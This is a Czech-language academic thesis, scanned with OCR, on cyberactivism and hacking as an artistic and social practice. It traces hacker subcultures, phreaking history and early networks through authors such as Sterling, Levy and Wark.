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Abstrakt:

Prace se zabyva aspekty riznych taktickych nastrojd a strategii, navrzenych k
naruseni, ¢i znemoznéni pfenosu informace, zejména otazkami intervence v
informacnich sitich. Prace se vénuje problematice tzv. hackingu, ktery nastifuje i z

historického kontextu medialniho aktivismu, jako i z pohledu umélecké praxe.

Abstract:

The work deals with various aspects of the tactical tools and strategies designed to
disrupt or disable transmission of information, in particular regarding to issue of
intervention in information networks. The work addresses the issue of “hacking”,
which also outlines in the historical context of media activism, as well as from the

perspective of artistic practice.
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Predmluva
Tématem prace je priizkum a popis rdznych forem subverzivnich intervenci do

informacnich siti, zejména s diirazem na vizualni ¢i konceptualni uplatnéni nastroj(
aktivismu v dobé informacni spole€nosti. Nejprve se zabyvam obecnou
problematikou pocitacového aktivismu, jeho plivodem, spole¢enskym kontextem a
technologickymi pfedpoklady. V dalSich kapitolach analyzuji tzv. hacking jako
uméleckou strategii, pficemz uvadim nékolik pfiklad(l. Zavérecna ¢ast textu je
pokusem o shrnuti této problematiky. Snazim se pouZzivat pfedevsim Ceské vyrazy,
nicméné v nékolika pfipadech vzhledem ke specifickému zaméreni ¢esky preklad

neexistuje — pristupuji tedy k vysvétleni pojmu pod Carou.

Uvod

Text pojednava o ,naruSeni* komunikacniho prostfedi, pfedevsim z
perspektivy hackertl, experimentatort, pridzkumnik( a umélcl — kyber-aktivistl, ktefi
usiluji o prosazeni urcité myslenky nebo postoje pomoci specifickych nastrojii —
napfiklad schopnosti nalézat ,chybu“ v cizim kddu, vytvafenim kddu vlastniho, Ci
posunutim informacnich a komunikacnich technologii do kontext( které kladou
otazky po roli vzajemné propojenych strojli ve spolec¢nosti. Pomoci hledani vstupu do
systémU nastavenych omezeni, které plvodné spliiuji pfedevsim komeréni tcely, ¢i
maji funkci restrikce pfistupu vefejnosti k jistému druhu informaci, vznikaji nové
souvislosti a prostory pro diskuzi,
Bruce Sterling popisuje podobné aktivity v textu ,Zatah na hackery* nasledovné :
,Hackeri se riizni svym stupném nenavisti k autoritdm a nasilnickosti své rétoriky. Ale
vSichni v zasadé nerespektuji zakon. NepovaZzuji soucasna pravidla chovani v
cyberspace za Zadouci usili o ochranu prava a pofadku a udrZzeni bezpeci. PovaZuji
je za nemoralni snahu bezduchych spolecnosti chranit své zisky a nicit opozici.
,Hloupi“ lidé, véetné policie, obchodnikd, politikii a novinart, prosté nemaji pravo

soudit akce elitnich expert(, uskutecriujicich technickou revoluci.*

1 Sterling, Zatah na hackery, 1994, s. 17



To vSe jak za urcCitym cilem, ale i ze zvédavosti Ci pro prosté pobaveni se na cizi ucet.
Pouzivanim nesrozumitelnych rozhrani vytvofenych na miru vytvareji mimikry které

neni jednoduché prohlédnout.

Co je kyberaktivismus, jaké je jeho genealogie? Jedna se aktivity jenz se
uskuteCiiuji na pomysiné hraci ploSe — uvnitf kyberprostoru.

Tento termin oznacuje ,nehmotné prostiedi, v kterém probiha komunikace mezi
elektronickymi systémy*. Jako prvni® tento pojem v kontextu virtualniho svéta pouZil
William Gibson v kratké povidce ,Burning Chrome*:

~Konsenzualni halucinace proZivana denné miliardami legitimnich operatord, v
kaZzdém narodé, détmi, které se uci matematickym pojmim... grafické zobrazeni dat
abstrahovanych z paméti kaZdého pocitace v lidské spolecnosti. Nepredstavitelna
komplexita. Linie svétla rozprostirajici se v neprostoru mysli, klastry a konstelace dat.
Jako svétla velkomésta, vzdalujici se..."

V souvislostech soucasnosti by bylo uvazovat o kyberprostoru jako o synonymu pro
internet poSetilé. Kyberprostor je tfeba chapat jako niZsi rovinu systému, nad kterou
se nachéazi dalSi druhy siti, jako elektronicky proto-prostor, ze kterého ostatni
vychazeji. Do ného pak vstupuje jen omezena komunita operatorti, administrator(,
,udrzbard“ a dobrodruh, ktefi zde hledaji potéSeni ¢i predmét obskurniho podnikani.
Nejde pouze o sit WWW? &i e-mail, jedna se o nespocet dalSich protokoll jako
MQTT, RTP, RTSP, XMPP®, které obsluhuji sluzby vzajemné komunikace mezi
uzivateli €i zafizenimi. Jedna se o sité neverejné, i sité naopak skrze internet
Jtunelované“ a dostupné kazdému, jako napfiklad TOR’, jakysi ,internet v

internetu” ,ktery vytvafri zdanlivé neviditelnou strukturu, v niz je mozno se ,ukryt".

N

[cit. 2016-08-29] http://www.oxforddictionaries.com/definition/english/cyberspace
3 Prvni zminka o tomto slové pochazi patrné z nazvu danského viceicelového prostoru “Atelier Cyberspace®,

avsSak dle jeho tehdejsich ¢Clenti ,,Pojem cyberspace pro nas byl pouze o manipulaci s prostorem, neslo o nic
ezoterického, nic digitdlniho. Byl to pouze nastroj, misto bylo konkrétni, fyzické“.
[onilne] http://www.kunstkritikk.com/kommentar/the-reinvention-of-cyberspace/

4  William Gibson, Neuromancer, preklad Josef Rauvolf, Laser-books, 2010, ISBN 978-80-7193-318-2

5 WWW — World Wide Web je informacni prostor vzdjemné propojeného hypertextového obsahu zaloZeny na
protokolu HTTP.

6 MQTT — Machine Queuing and telemetry protocol, RTP — Realtime transport protocol, XMPP — extensible
messaging and presence protocol.

7 TOR — The Onion Router — https://torproject.org/


https://torproject.org/
http://www.oxforddictionaries.com/definition/english/cyberspace

Technologicka sofistikovanost tohoto ,ne-prostoru“ a soucasna predvidatelnost na
zékladé pravidel definovanych pocitacovym systémem — a tedy zakony matematické
logiky, dava vzniknout mnozstvi rozmanitych rozhrani vhodnych k jeho
prozkoumavani: od textovych (napf. Bulletin Board systémy), aZ po rozhrani

kombinujici rizna multimédia (World Wide Web, Geocaching, Augumented Reality).

Mira sofistikovanosti jednotlivych, nad kyberprostorem postavenych rozhrani, je
Umérna vypocetni kapacité soudobych pocitacovych systémi a priimérnou
propustnosti linek, které jednotlivé segmenty propojuji. Jako kyberprostor Ize chpat i
vnitfni“ prostredi vétSiny dnesnich pocitacl, jelikoz jejich technologicky design je od
podstaty zaloZen na principu sité®. KaZzdy program mdze pak byt pouze jednim z
mnoha vnitfnich uzivatel(l pocitace, komunikace s ostatnimi programy probiha na
stejném principu jako komunikace dvojice lidi pfes datové spojeni napfiklad mezi
kontinenty. Dle mého nazoru v kyberprostoru neexistuje rozdil mezi ¢lovékem a
strojem, jelikoZ uzivatel existuje pouze v podobé symbolické reprezentace sebe
sama prostrednictvim kodu a dat, které jsou alokovany v paméti pocitace. Jinak
feceno, jeho prezentace odpovida strukturé a funkcionalité nastroje, ktery si pro

komunikaci v kyberprostoru zvolil.

Druhy pojem z kterého vySe uvedeny termin vychazi - aktivismus (z lat. aktivus —
¢inny®) - oznacuje spolecensky nastroj, datujici se od dob, kdy doslo ke spolec¢enské
segregaci vlivem kumulace moci a majektu elitnimi skupinami na ukor nize
postavenych vrstev. Tato nerovnost je pak ptisobenim socialni dynamiky
vyrovnavana bud prosazovanim myslenek ¢i postojd, a tim vytvarenim socialniho
pnuti, nebo vytvorenim intelektuélni ¢i informacni pfevahy, s cilem vyvolani zmény
shora, skrze cestu prejimani mysSlenek vliadnouci tfidou.

v

Jedna se tedy o soubor taktickych nastroji k pouziti ,,pfimé akce“ k dosazeni
urcitého cile.
Aktivismus je rozd&lovan Ondfejem Cisafem v praci ,Politicky aktivismus v Ceské

republice*!® do nékolika hlavnich smér(.

8 [cit. 2016-08-29] https://fgiesen.wordpress.com/2014/03/23/networks-all-the-way-down/
9 Rejzek, 2001, s. 48

10 Cisar, 2008
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Aktivismus politicky — ,vice ¢i méné profesionalni aktivity obhajc( urcitych politik a
socialnich opatieni na drovni politickych organizaci“**.

Enviromenalni aktivismus — enviromentalismus je smér, ktery prosazuje dileZitost
Zivotniho prostfedi, a pro ktery je typicka ¢innost mnoha zajmovych skupin napfi¢
hranicemi. Cisaf konstatuje : , Tento aktivismus je dnes do znacné miry namisto
primé ucasti a ¢lenstvi zaloZen na existenci (Casto malych) neclenskych advokacnich
skupin, charakterizuje jej zavislost na externich zdrojich a diiraz na meziorganizacni
interakce/transakce*?, a tento druh aktivismu zafazuje do hlavniho politického
proudu.

Oproti tomu radikalni aktivismus je ten, ktery ,nespolupracuje” : ,,Radikalové
nespolupracuji s mainstreamovymi aktivisty a ani ti nestoji o to, aby byli vidéni jako
spojenci radikal(“®. Jedna se o hnuti, které je spojeno s urcitou subkulturou, jejimz
nastrojem je tzv. ,pfima akce* (Direct Action). Stejné jako v pfipadé ,radikalniho
enviromentalismu*, jehoz nastrojem k prosazeni cilll je napfiklad blokada dalni¢nich
tahl, kyberaktivismus Ize chapat jako variantu radikalniho aktivismu — s pomoci
technologickych nastroji elektronickych informacnich siti — napriklad pomoci
internetu — je uplatiiovana snaha o feSeni socioekonomického problému.

Jinym strategickym prostfedkem je naruSeni Ci ,pozménéni“ média, které prenasi
zpravu (napf. pozméneni textu ¢i obrazu béhem trajektorie mezi odesilatelem a
pfijemcem). DalSim modelem je zabranéni prenosu informace (napf. DoS utok™).
To je akt sAm o sobé vyznamotvorny — McLuhan tvrdi Ze ,médium je sdéleni**,

zaroven absence sdéleni je sdéleni samo o sobé.

Dochazi tedy k pfesunu kontroly nad obsahem z odesilatele na tzv. ,muze uprostfed”

(Man In The Middle®®), ktery je v tu chvili tim, kdo ziskava nad komunikaci kontrolu.

V nedavné dobé se pro podobné aktivity vzilo oznaCeni hacktivismus. Jedna se

pouze o jednu ze spektra taktik, ktera propojuje uvedené discipliny. Vyuzitim

11 Cisaf, 2008, s. 8

12 Cisaf, 2011, s. 141

13 Cisarf, 2011, s. 141

14 Denial of Service — umélé zahlceni serveru vysokym mnozZstvim poZadavki, coZ ma za nasledek
nedostupnost sluzby pro legitimni odbératele.

15 McLuhan, 1964, s. 7

16 Man In the Middle — institut tfeti strany, ktera se vyskytuje mezi odesilatelem a pfijemcem elektronické
zpravy, a mize tedy se zpravou a jejim obsahem libovolné manipulovat.
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technologické pfevahy, dosahuje cile, predevsim Gtoky na internetové servery s
vysokou navstévnosti, pficemz na témata upozornuje nejcastéji jejich
znepristupnénim (jiz zminény DoS atok). Motivem takového pocinani byva potfeba
tvorit ,dobro” (v mravnim smyslu), nicméné ne nezbytné. Z pohledu implicitné
obhajitelného aktu vniknuti se pouziva pojem ethical hacking, tedy disciplina
specificka pro skupinu tzv. ,white-hat“ hackerd, ktefi objevuji chyby v cizich
systémech na zakladé smluvniho vztahu.

V nasledujici ¢asti se pokusim popsat hackerskou subkulturu skrze rizné jeji
definice.

Hackerské subkultury a jejich geneze
Hacking je disciplinou, spojenou s fenoménem fyzického poznavani a

pozmeénovani zejména technickych prostredki (tzv. bastleni), ¢i pronikani do

vlastniho i ciziho pocitacového kodu s cilem zmény jeho funkénosti. Bud za G¢elem

Sikovné a rychlé upravy, nebo za ovladnutim urcitého elektronického systému bez
védomi jeho autora &i vlastnika. Termin je odkazuje na ptvodni vyznam slova — v
prekladu z angli¢tiny sekat — do post-industrialni doby, kdy misto opracovavani
fyzickych materialti dochazi k Gpravé vlastnosti technologickych systémi véetné

softwarovych programd.

Steven Levy popisuje aktivity hackerd ve knize Hackers: Heroes of Computer
Revolution nasledovné:

.PrestoZe nékteri kolegové v oboru pouzivali termin "hacker" jako formuvysméchu,
to Ze hackefi byli vidéni bud’ jako socialni outsidefi, ¢i "neprofesionalni”
programatori, ktefi psali osklivy a nestandardni pocitacovy kod, vnimal jsem je
odlisné. Pod jejich ¢asto nevzhlednymi zevnéjsky se skryvali dobrodruzi, vizionari,
hazardeéri, umélci ... a ti, kdo nejjasnéji vidéli, pro€ je pocita¢ skuteCné revolucni

nastroj.“t’

17 Levy, 1984, s.4
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Naopak McKenzie Wark popisuje subkulturu v A Hacker manifesto®: ,Hackeri
vytvareji nové moznosti jak véci prichazeji na svét. Nejsou to vZdy skvélé véci, Ci
dokonce ani dobré véci, ale jsou to véci nové. V uméni, ve védg, ve filozofii a kulture,
v kazdém znalostnim odvétvi kde vznikaji data, z kterych Ize extrahovat udaje jeZ
vytvareji nové mozZnosti pro svét, vsude tam jsou hackeri vytvarejic nové ze

starého.“*°

Tématem hackingu se zabyva mnozstvi autor(l a vyslo o ném fada knih a textd.
Alespori nékteré z nich zminuji. Jedna se v zasadé o dvé skupiny autord, ti, ktefi pisi
o komunité ,zevniti, byli tedy v urcitou dobu pfimo soucasti subkultury, ¢i se
pohybovali v jejim tésné blizkosti. Druha skupina jsou ti, kdo o fenoménu hackingu
uvazuji zvenku, a to pfedevsim ti, kdo nebyli pfimou soucésti, ba naopak - byl
dokonce i ,na druhé strané”. Aspekt rozdéleni na dvé vzajemné soupefici skupiny —
hackery, phreakery, crackery na jedné strané, a policii spolu se zastupci
telekomunikacnich spoleCnosti na strané druhé, je v mnoha ze zaznamenanych
pribéhl pravé Ustfednim motivem.

Mezi autory, ktefi o hackingu piSi na zakladé vlastni zkuSenosti patfi napfiklad Bruce
Sterling s knihou “Zatah na hackery“#. Autor zde na pomezi non-fiction a literarniho
textu, ve svétle zasahu proti americkému pocitacovému podsvéti v roce 1990
objasriuje fadu detailnich popist tehdejSich udalosti, jejich tcastnik a dobovych
kontext(l o prostiedi, kterému FikAme kyberprostor, jesté pred nastupem internetu
uprostied 90. let 20. stoleti. Pfedevsim vénuje pozornost legendé hackerské scény v
USA - zndmému uskupeni Legion of Doom. Ne nahodou je Sterlingova kniha
jednou z nejctengjsich v tomto okruhu,nebot’ jeji autor se sdm podilel na vzniku
Zanru a posléze celého kulturniho fenoménu s ndzvem cyberpunk, a pravé on
hackerskou subkulturu de-facto definoval. Podobnym zplisobem popisuje situaci na
nékolika pfipadech australanka Suelette Dreyfuss v “Podsvéti“#, kde mapuje
prostiedi australské hackerské scény skrze vypravéni piibéhl nékolika mistnich
skupinek. VétSina popisovanych realnych postav byli v dobé udalosti jeSté teenagefi,

18 Wark, 2004

19 Wark, 2004, s.15
20 Sterling, 1992
21 Dreyfus, 1997
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a nebylo tedy mozné je odsoudit k vysokym trestlim. Jednim z nich je i pfibéh nize
zminovaného Mendaxe, ktery pronikl a ochromil mezinarovni pocitacovou sit SPAN,
stejné tak i jeho spolupracovnikl Prime Suspect a Trax, ktefi Uspésné pronikali do
celosvétové sité telefonnich Ustfeden firmy Nortel. Dalsi z pribeh( pojednava o
hackerech s prfezdivkami Phoenix, Nom a Electron, ktefi se stali v Australii prvnimi

odsouzenymi za vniknuti do pocCitaCového systému.

Protikladem k beletriim o hackerech je zminéna prace “A Hacker Manifesto*,
formou pfipominajici Debordovu ,Spolec¢nost spektaklu®* - klicové situacionistické
dilo, délené do 221 kratkych tezi. McKenzie tuto formu vyuziva, a ve 389 tezich
definuje vlastni chapani hacku jako institutu informacni derivace. Tvrdi, Ze
nejdlleZzitéjSi je akt tzv. abstrakce : ,Jsme hackefli abstrakce, vytvarime nové
koncepty, vnimani, senzace, vysekavame je ze surovych dat“®. Chape hack jako
nastroj tfidniho boje, a definuje tfidu tzv. vektoralistl — informacnich magnatd,
pojmenovanou podle mnozstvi vektord, kterymi se informace mohou $ifit, zejména
ve spojitosti s komodifikaci informaci : ,Vektoralisticka tfida ve vyvoji vektoralnich
nastrojl produkce a distribuce vidi zplsob, jak vytvorit rozhodny ndstroj dosahnuti
globélini komodifikace skrze komodifikaci informaci“*.

Stephen Levy se v knize ,Hackers: Heroes of the Computer Revolution* vénuje
predevsim generaci Sedesatych a sedmdesatych let — tzv. opravdovym hackertim,
predevsim tém, pohybujicim se v okoli TMRC? — klubu pfiznivcli Zelezni¢nich
modeld. Je ironické, Ze skupina lidi, jez plivodné barvila Zelezné modely na
zelenozluto, stala na poCatku noveé technologické revoluce. Nasledné se také vénuje
»hardware hackingu“, popisuje napfiklad pfibéh Steva Wozniaka a okolnosti vzniku
prvniho osobniho pocitace ktery zmeénil svét — Apple 11?°. Softwarové hackery
zahrnuje v podobé popisu noveé vznikajiciho herniho prlimyslu 80. let, predevs$im na

N e

pfibéhu Richarda Garriota, autora nejznaméjsi série her na hrdiny - Ultima?’.

22 DEBORD, Guy. Spolecnost spektéklu. V Praze: Intu, 2007. ISBN 978-80-903355-5-4.
23 Wark, 2004, s. 14

24 Wark, 2004, s. 121

25 Tech Machine Railroad Club

26 Levy, 1994, s. 197

27 Levy, 1994, s. 312
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V pfipadé evropské hackerské scény bych rad zminil publikaci “Hacking Europe -
From Computer Cultures to Demoscenes“?, ktera vyklada genezi hackingu na
starém kontinenté jako seérii oddélenych udalosti, které se na sklonku 90. let spojily v
kontinentalni propojenou subkulturu, pfedevsim za pomoci Uspéchu internetového
projektu. Autofi, mimo jiné, v této publikaci popisuji nize zmifovany tzv. BTX hack
némeckého Chaos Computer Clubu.

Vznik této subkultury je datovan do obdobi 60. let dvacatého stoleti, kdy se okolo
pocitacovych oddéleni prestiznich americkych univerzit — prededvsim Machesussets
Institute of Technology a UCLA? - zacaly tvofit skupiny student(l s touhou objevovat
moznosti nové vznikajicich poc&itacovych systémd, a znalosti aplikovat do praxe v
podobé otevienych a vSeobecné dostupnych program i fyzickych nastroji Ci
,ZlepSovakl“. Tato mala skupina utvofila Zivou komunitu, jejiz zéklad byl predevsim
ve vzajemné touze objevovat, diskutovat a vytvaret nezvykle kreativni feSeni, Casto
vychazejici z volnomyslenkarskych principt tehdejsi pokrokové spolecénosti. To dalo
vzniknout unikatnimu ethosu ,globalniho hackerského hnuti“, které opustilo hranice
akademickych instituci a stalo se kolébkou pro mnoho dalSich generaci
technologickych myslitel(. Je tfeba fici, Ze z tohoto zarodku pochazi vétSina
technologickych vydobytkd, které vytvorily samoziejmou infrastrukturu pro naprostou
vétSinu jakéhokoliv moderniho po€inani, at’ se jedna o operacni systém UNIX (autofi
Dennis Ritchie a Ken Thompson), ¢i sadu protokold TCPI/IP (Bob Kahn, Vint Cerf)

,na kterych je naprosta vétSina dnesnich siti zalozena.

Nutno podotknout, Ze hnuti nebylo nikdy homogenni. Levy komunitu rozdéluje® na tfi
hlavni proudy:
1. Plvodni hackefi (tzv. True hackers) — VySe zmirieni pionyfi z akademického
sektoru, studenti, védci. Hack je myslen predevsim jako zpUsob Sikovného
zasahu do kédu programu, ¢asto za pomoci algoritm( ¢i softwarovych rutin

pro naprosto odliSné pouziti.

28 Alberts, 2014
29 University of California Los Angeles
30 Levy, 1984
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2. Hardware hackefi - ,bastlifi“, ,telephone freaks" — ,phreakefi“ se silnou tradici
vzajemného setkavani a vymeénovani zkusenosti. Zde nezfidka znamenal
hacking skutecné pouziti fyzické sily pro Upravu funkcnosti aparatu. V
tehdejsim Ceskoslovensku existovala tato subkultura v podstaté jako jedina z
vySe vyjmenovanych, pod oznacenim ,bastlifi“. Jedna se tedy o Upravu
analogovych zafizeni, jako jsou riizné ,tuningy” televiznich a radiovych
prijmacd, apod.

3. Software hackefi — Jednotlivci usilujici o pronikani do poc&itacovych systémd,
za pomoci hledani chyb v ochrané. Softwarovy hacking Ize rozdélit na nékolik
podskupin, podle toho, jaky ,klobouk®, €i jaké umysly jsou jejich motivaci.

o White hat
= PfedevSim jde o bezpecnostni analytiky, ktefi na znalosti chyb systému
postavili své Zivobyti.Pak radi v soukromém Ci vefejném sektoru, jak se
Ucinné branit proti Gtokfim niZze zminénych skupin. Cast z nich se
rekrutuje z fad byvalych grey-hat hacker(, ktefi se istitucionalizovali, ¢i
si na své temné minulosti zaloZili osobni znacku, ktera jim zajiStuje
publicitu. Tak se napfiklad dostal na ,druhou stranu“ Kevin Mitnick,jenz
je jednim z nejzndmé;jSich odsouzenych etickych hackerd.
o Grey hat
= tzv. Seda zOna, ktera pojima jak internetovy aktivismus, tak i Cast prace
white-hatl, ktefi se ¢as od ¢asu neboji pouzi neortodoxni metody pro
svou ¢innost. Zpravidla se vSak jedna o ¢innost priizkumnou,
neinvazivni (ve smyslu menéni systémui zevniti). Sterling vSak
upozoriuje®, Ze vzhledem k dilezitosti poéitacovych systém( ve
zdravotnictvi, dopravé, ¢i priimyslu, mdze i mala zména, Ci kratka
nedostupnost systému (napf. v pripadé sité tisiiového volani) zplsobit
smrt toho, kdo je na elektronickém systému v onen okamzik zavisly.
o Black hat

= Black-hat hackefi jsou pfedevsim ti, ktefi umysiIné tvofi Skodu Ci
poskozeni, a to jak na datech — kradeze osobnich Gdajl, kreditnich

karet aj., tak pfimo na zafizenich kde systémy bézi. Pokud je nékde

31 Sterling, 1992, s. 41
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referovano o hackerech v negativnim svétle, jsou to pfedevsim tyto
skupiny opravdovych zlo¢inc, ktefi vnikaji do systémui pro viastni

obohaceni &i pro touhu poskozeni druhé strany z ,pochybnych® ddivodd.

Hacking byva Casto zaménovan na termin cracking, cozZ je termin,ktery oznacuje
¢innost souvisejici se snahou o obejiti softwarové ochrany proti kopirovani
pocitacového programu, coz je Ukol vyzadujici Casto ,zlomeni“ urCitého zabezpeceni,

nezfidka Sifrovaciho klice.

Historicky kontext

Koreny vyuziti techniky v ramci socialniho natlaku sahaji do pocatki
pramyslové revoluce — doby, b&hem které industrializace ohroZovala postaveni
délnik( a kdy se zacaly objevovat prvni pfipady sabotazi** strojového vybaveni
tovaren a dilen. Jedno z hnuti které proklamovalo destrukci strojl byly skupiny tzv.
luddit®, vétSinou textilnich délnik(i s mnohaletou pracovni zkusenosti, ktefi, v
obavéach o své Zivobyti, zacali organizované poSkozovat predevsim tkalcovské stroje
ze strachu o ztratu predmétu obzZivy.
Tyto stroje byly prvni zafizeni®* jejiz pravidla chodu ¢lovék programoval pfedem, a
stroje pouze vykonavaly to, co bylo zaznamenano na dvourozmérné matici vpichl do
(tehdy jiz masoveé rozsifeného) papirového pasku®, jednalo se tedy o jedny z prvnich
informacnich systémd pro praci s daty.
Na konci 19. stoleti se situace zménila vynalezem spolehlivé fungujiciho pfistroje na
vzdalenou komunikaci - telefonu Alexandra Grahama Bella, a prfedevsim jeho
zavedeni do praxe spolecnosti Bell Telephone Atlantic. Jiz v této dobé byly evidovany
atoky na fungovani sité, v podobé spiSe Zertovne, vychéazejici z tehdejSiho
fungovani, kdy mladi operatofi — spojovatelé — z dlouhé chvile prepojovali hovory
neznamo kam, aby zpUsobili zmatek. Jak Bruce Sterling zmiruje*®, telefonni

spojovatelny zaméstnavaly predevsim mladé chlapce, plvodné kuryry, ktefi z

32 Termin sabotaz je slovo jehoZ koren vznikl ze slova sabot, coZ jsou francouzské drevéné boty, jeZ méli pravé
délnici hazet do strojt aby zastavili provoz.

33 Luddité — Skupina technopesimistickych, predevsim texilnich délnikd.

34 Pokud pomineme stroje na méfeni casu, kde je vSak termin programovani vzhledem k tehdejSimu statickému
pojeti vinimani ¢asoprostoru ponékud nevhodny.

35 Dérny pasek - diky jednoduchosti se stal na nékolik desitek let standardem v ukladani strojové citelnych dat.

36 Sterling, 1992, s. 18
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prirozeného neprételstvi k siti jako takové, Ci pouze pro pobaveni prepojovali hovory
neznamo kam, vstupovali do konverzaci, €i je pfedCasné ukoncovali, ¢imz
zplsobovali zmateni a vztek ¢asti tehdejsi, pfedevsim podnikatelské klientely. Na
tradice téchto ,zlobivych-kluk(-na-draté“ ¢astecné hackerské hnuti navazuje, jelikoz
jde stejné tak o vlastni identifikaci s telefonni siti. A to pfedevsim na zakladé jejiho
prozkoumavani co, €i kdo je na druhé strané, a nalézani ¢eho je sit schopna.
Prdzkumy takového razu byly mozné predevsim kvdli zptsobu fungovani telefonni
sité. Tehdejsi analogové Ustfedny pouZivaly na spojovani hovord sérii relé, pficemz
pro spojeni hovoru bylo u automatickych Ustfeden potfeba relé vzdalené sepnout v
urCitém poradi. Kazda soustava relé reagovala na jny pocet pulzd za sebou, a pro
uskuecnéni hovoru bylo tfeba sepnout nékolik téchto soustav soucasné, tedy vyslani
série téchto pulzd, princip velmi podobny telegrafu. Telefonni pfistroj, ktery spojoval
hovor jednoduse vygeneroval pomoci vlastni série relatek potfebny pocet pulzl, a
Ustfedna propojila hovor sestavenim elektrického okruhu. Kromé pulzni volby byla
mozna i volba tonova, ktera se vSak tehdy pouzivala pfedevsim na pfenos servisnich
signalll skrze linku. VZdy kdyZ bylo napf. potieba spojit hovor jako mezimésto z
telefonni budky, po zadani dostate¢ného poctu drobnych pfistroj vyslal ton o urCité
vySce, aby tak Ustfedné sdélil, Ze se jedna o dalkovy hovor. Faktem bylo v3ak to, Ze
vzhledem ke zjednoduSeni celého systému se servisni signaly posilaly po stejném
vedeni jako hlas (tzv. In-band signaling®’), bylo tedy mozné tén vytvofit svépomoci,
napr. ho zapiskat do telefonniho sluchéatka a spojit hovor bez drobnych. Discipling,
vénujici se obchazeni omezeni analogové telefonni sité, se fika phreaking.

Ironii osudu bylo, Ze jeden z plvodnich phreakerd, John Draper, veteran z valky ve
Vietnamu, v roce 1971 objevil Ze neni potfeba ani nahravat tony z varhan na kazety,
ucit se piskat, i trénovat zpévné ptaky pro ziskani par minut volného kldboseni.
Stacilo si zakoupit krabici cerealii, ve které byla zdanlivé neSkodna hracka — piStalka
- po zapiskani vydavala tén o stejné vysce pouzivanou tehdejSimi tstfednami - 2600
Hz. Tento objev mu vynesl pfezdivku Capt‘n Crunch podle nazvu oné krabice s
ceredliemi. Nejednalo se sice o technologicky prdlom, diky této pistalce vSak zacal
Jhon Draper experimentovat se stavbou zafizeni na generovani série téchto signall

— tzv. blue box aby proces vytaceni automatizoval. Uvefejnénim ¢lanku o blue-boxu

37 1In band signaling — zptisob prenosu signalizace po stejném kanélu jako data/hovory. Opakem je out-of band
signaling, které pro signalizaci vyhrazuje samostatnou, fyzicky oddélenou linku.
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v Casopisu Esquire, byla vyroba podobnych zafizeni v ndslednych letech naramé
vydélecnym zbozim, zejména v univerzitnich kampusech. Jednim z téch, ktefi se
rozhodi na tomto ,trendy zpUisobu okradani“ nenavidéné spolecnosti AT&T vydélat,
byl téZ Steve Jobs. Ten diky prodeji téchto krabicek zjistil, Ze prodej elektroniky mlze
byt zdbava, na které se da dobre vydélat.®

Béhem 70. let se nasledné phreaking velmi rozsifil i mimo Uzemi USA a stal se
vSeobecnou dovednosti pro technologicky zaloZzené mladé generace.

V roce 1971 doSlo k masivni akceleraci vyvoje vypocetni techniky vlivem uvedeni
prvniho komeréniho mikrocCipu Intel 4004. Nebylo to ale aZ do nasledujiciho roku, kdy
jeho nasledovnik Intel 8008 odstartoval revoluci v odvétvi osobnich pocitacd. Tento
fakt, a narazové skokové zvySeni poptavky po mikroprocesorech béhem prvni
poloviny 70. let, mélo za nasledek, Ze kazdy, kdo si mohl dovolit utratit nékolik tisic
dolarti, mohl mit doma svj opravdu osobni pocita¢, jako napf. Altair 8800. Na
opacné strané spektra, v akademické sféfe tehdy jiz probihal slibny, plvodné
armadni pokusny projekt jak propojit vSechny védecké sité do jedné celosvétové —
ARPANET, zarodek budouciho internetu.

V prvni poloviné 80. let vSak s internetem mél v Evropé zkuSenosti jen malokdo.
Existovalo nicméné nékolik technologii, které se dokazaly, za pomoci vyuziti
existujici telefonni site dostat do SirSiho uziti, zejména diky propojeni s telefonnim
pristrojem ve formé zobrazovaciho terminalu se sluchatkem, obrazovkou a
klavesnici, pomoci které uZivatel zadaval pfistroji pokyny. Diky faktu, Ze byl pfistroj
silné dotovan, a zaroven vysoké cené tehdejSich mainframe pocitacd, které by byly
témto ,hloupym terminalim* schopné poskytovat sluzby $Slo o technologie vysoce

centralizované, v podstaté vyhradné pod kfidly telekomunikacni spolecnosti.

Na sklonku 80. let 20. stoleti bylo pocitaCové vybaveni v zemich z&padniho bloku
pomérné hojné rozsifeno, nicméné bez vyraznéjSiho vzajemného propojeni. Zplsob
spojeni s okolnim svétem byl z domova mozny vyhradné skrze telefonni linku pomoci
modemu, vytoCenim urcitého Cisla a navazani digitalniho pfenosu s podobnym
zafizenim na strané druhé. Vzhledem k neexistenci jakékoliv centralni sité, ktera by

v v

uzivatele a sluzby propojovala, bylo rozSifenou praxi, Ze jednotlivi uzivatelé tyto

38 [cit. 2016-08-31] http://www.i-programmer.info/history/people/104-steve-jobs-apple.html
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centralizované sluzby nahrazovali. Jednou z prvnich takto rozSifenych sluzeb byla
elektronicka nasténka — BBS . Kazdy mohl na nasténku pfidat text jako vzkaz
ostatnim. Vzhledem k tomu, Ze se jednalo o uzavieny okruh, kdy v jeden moment
mohla byt k modemu pfipojena pouze jedna stanice, ostatni uzivatelé byli nuceni
Cekat aZz na né pfijde fada, tj. az telefonni Cislo pfestalo byt obsazené. Z tohoto
dlvodu vytaceni fungovalo z velké ¢asti automaticky — uzivatel si na nové prispévky
musel pockat nékdy i hodiny. Jednalo se tedy o pfimé napojeni na sluzbu®, kterou
poskytovala stanice ke které byl modem pfipojen.

Tento zpUlsob pristupu ke vzdalenému systému se vSak pouzival i v pfipadé
napojeni na univerzitni ¢i firemni time-sharing®® systémy, kdy se uzivatelova stanice
stala pouze rozhranim k vétSimu, neporovnatelné vykonnéjSimu salovému pocitaci.
Diky pfistupu na mainframe mél uzivatel ¢asto moznost pfipojit se na dalSi systémy s
mainframem propojené, jiz ne vytd€enou telefonni linkou, ale formou pevného okruhu
(napf. X.25, DECnet, Ci Ethernet) ,propojujici jednotlivé akademické instituce do
vétSiho celku tehdy pfevazné univerzitnich siti, které umoznovaly vzajemnou vymeénu
dat. Praxi bylo, Ze kazdy mohl o Uc€et na pocitatovém systému pozadat na zakladé
svych studijnich predpokladd, coz bylo zejména u obor(l ze kterych se

i

.experimentatofi“ rekrutovali. Tento fakt byl mnoha hackery — prizkumniky - vyuzivan
ke ziskavani zkuSenosti pfi otukavani kyber-prostoru kolem sebe. Univerzitni
mainframe jim slouZil jako ,hnizdo* odkud vylétali za dobrodruzstvim. Dilem rozSifeni
subkultury vznikla i néktera periodika, ktera se ,podsvétim* zabyvala. Ustfedni
postavou evangelizace ,hackerstvi“ byl zakladatel ¢tvrtletniku 2600%* (obr. 2) Eric
Corley, znamy pod pfezdivkou Emanuel Goldstein. Casopis vychazi v
nepravidelnych intervalech dodnes, pficemz Corley je stale jeho vydavatelem a

hlavnim pfispévatelem.

